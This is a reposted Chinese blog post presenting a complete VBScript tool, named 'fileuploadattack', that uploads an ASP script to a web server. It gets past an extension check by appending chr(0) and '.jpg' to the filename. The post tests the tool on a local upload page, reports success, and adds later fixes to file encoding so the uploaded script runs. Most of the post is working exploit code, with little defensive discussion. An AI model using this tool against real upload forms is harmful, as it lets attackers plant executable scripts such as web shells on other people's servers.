欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

ASP上传漏洞之利用CHR(0)绕过扩展名检测脚本

程序员文章站 2022-03-25 21:00:20
今天demon 提到了这个问题,正好想到之前看到的一篇文章《automatic file upload using ie+ado without user interact...

今天demon 提到了这个问题,正好想到之前看到的一篇文章《automatic file upload using ie+ado without user interaction - vbsscript》 。这篇文章给出了本地无交互自动上传脚本的示例,正好今天可以借来一用,原脚本利用了internetexplorer.application组件,我改写了一下,用winhttp.winhttprequest.5.1实现了类似的功能,关于这个组件更多的用法请参考《winhttprequest object reference》

复制代码 代码如下:

option explicit

function file_get_contents(filename)
dim fso, f
set fso = wsh.createobject("scripting.filesystemobject")
set f = fso.opentextfile(filename, 1)
file_get_contents = f.readall
f.close
set f = nothing
set fso = nothing
end function

' 代码修改自 http://www.motobit.com/tips/detpg_uploadvbsie/
class fileuploadattack
private m_objwinhttp
private m_strurl
private m_strfieldname

private sub class_initialize()
set m_objwinhttp = wsh.createobject( _
"winhttp.winhttprequest.5.1")
end sub

private sub class_terminate()
set m_objwinhttp = nothing
end sub

public sub seturl(url)
m_strurl = url
end sub

public sub setfieldname(name)
m_strfieldname = name
end sub

'infrormations in form field header.
function mpfields(fieldname, filename, contenttype)
dim mptemplate 'template for multipart header
mptemplate = "content-disposition: form-data; name=""{field}"";" + _
" filename=""{file}""" + vbcrlf + _
"content-type: {ct}" + vbcrlf + vbcrlf
dim out
out = replace(mptemplate, "{field}", fieldname)
out = replace(out, "{file}", filename)
mpfields = replace(out, "{ct}", contenttype)
end function
'converts ole string to multibyte string
function stringtomb(s)
dim i, b
for i = 1 to len(s)
b = b & chrb(asc(mid(s, i, 1)))
next
stringtomb = b
end function

'build multipart/form-data document with file contents and header info
function buildformdata(filecontents, boundary, _
filename, fieldname)
dim formdata, pre, po
const contenttype = "application/upload"

'the two parts around file contents in the multipart-form data.
pre = "--" + boundary + vbcrlf + mpfields(fieldname, _
filename, contenttype)
po = vbcrlf + "--" + boundary + "--" + vbcrlf

'build form data using recordset binary field
const adlongvarbinary = 205
dim rs: set rs = wsh.createobject("adodb.recordset")
rs.fields.append "b", adlongvarbinary, _
len(pre) + lenb(filecontents) + len(po)
rs.open
rs.addnew
dim lendata
'convert pre string value to a binary data
lendata = len(pre)
rs("b").appendchunk (stringtomb(pre) & chrb(0))
pre = rs("b").getchunk(lendata)
rs("b") = ""

'convert po string value to a binary data
lendata = len(po)
rs("b").appendchunk (stringtomb(po) & chrb(0))
po = rs("b").getchunk(lendata)
rs("b") = ""

'join pre + filecontents + po binary data
rs("b").appendchunk (pre)
rs("b").appendchunk (filecontents)
rs("b").appendchunk (po)
rs.update
formdata = rs("b")
rs.close
buildformdata = formdata
end function


public function sendfile(filename)
const boundary = "---------------------------0123456789012"
m_objwinhttp.open "post", m_strurl, false
m_objwinhttp.setrequestheader "content-type", _
"multipart/form-data; boundary=" + boundary

dim filecontents, formdata
'get source file as a binary data.
filecontents = file_get_contents(filename)

' 下面构造了恶意文件扩展名chr(0) & .jpg
'build multipart/form-data document
formdata = buildformdata(filecontents, boundary, _
filename & chr(0) & ".jpg", m_strfieldname)

m_objwinhttp.send formdata
sendfile = m_objwinhttp.status
end function

public function gettext()
gettext = m_objwinhttp.responsetext
end function
end class

function vbmain()
vbmain = 0

dim fileupload
set fileupload = new fileuploadattack
' 需要修改下面内容为合适内容
' 上传url
fileupload.seturl "http://localhost/upload/uploadfile.asp"
fileupload.setfieldname "filepath" ' 上传表单框的name
' 需上传文件路径
if fileupload.sendfile("e:\projects\asp\index.asp")=200 then
msgbox "上传成功" & fileupload.gettext()
else
msgbox "失败"
end if
set fileupload = nothing
end function

call wscript.quit(vbmain())

上传功能是随便在网上找的一个简单上传asp文件,然后加入我在文章中《asp/vbscript中chr(0)的由来以及带来的安全问题》所述的getfileextensionname判断扩展名是否是jpg。

测试结果是:手动上传asp,失败;利用上述攻击脚本上传asp文件,成功!在上传目录中确实是asp文件,通过浏览器url也能访问这个asp文件,只是奇怪的是显示一片空白,我这里是iis 7,难道是iis版本问题,或许是file_get_contents应该返回文件的二进制流?好了,这个问题先搁在这儿,还有其他事,先闪了。

所有实验代码包,在这里upload.zip(代码bug参考下面更新说明)下载。

2011年12月25日更新

根据大家反馈的上传文件变成unicode little endian编码问题,首先抱歉的是当时确实偷懒了,主要代码参考的老外的,而且老外说明了一下getfile这个函数获取文件二进制数据,没找到这个函数实现,也懒得去弄二进制读取,直接搞了个file_get_contents获取文本数据,事实证明这样确实存在问题,下面我把补救措施说明一下吧,还是偷懒一下,直接在现有的基础上将文本数据转换为二进制数据。使用adodb.stream组件,函数如下:

复制代码 代码如下:

' 将指定charset的字符串str转换为二进制
function strtobin(str, charset)
with wsh.createobject("adodb.stream")
.type = 2
.mode = 3
.open
.charset = charset
.writetext str
.flush
.position = 0
.type = 1

strtobin = .read()
.close
end with
end function

然后将上述代码的第106行改成下面这样(以ascii读取文本):

复制代码 代码如下:

filecontents = strtobin(file_get_contents(filename), "ascii")

这样改过后上传的asp文件就是普通编码的文件了,然后浏览器访问这个文件,可以看到该asp被成功解析。

不过这里觉得啰嗦了一点,其实可以直接以二进制打开文件并返回数据,这里进行了两步:1.以文本方式读取文件;2.将文本转换为二进制数据。一步到位的代码可以参考下面一次以二进制byte()方式读取文件数据的函数:

复制代码 代码如下:

'returns file contents as a binary data
function getfile(filename)
dim stream: set stream = createobject("adodb.stream")
stream.type = 1 'binary
stream.open
stream.loadfromfile filename
getfile = stream.read
stream.close
set stream = nothing
end function

更优化的代码我就不写了,主要说明的是一个上传思路,如果大家希望得到完善的上传实现,可以参考demon的《vbs模拟post上传文件》 。
原文: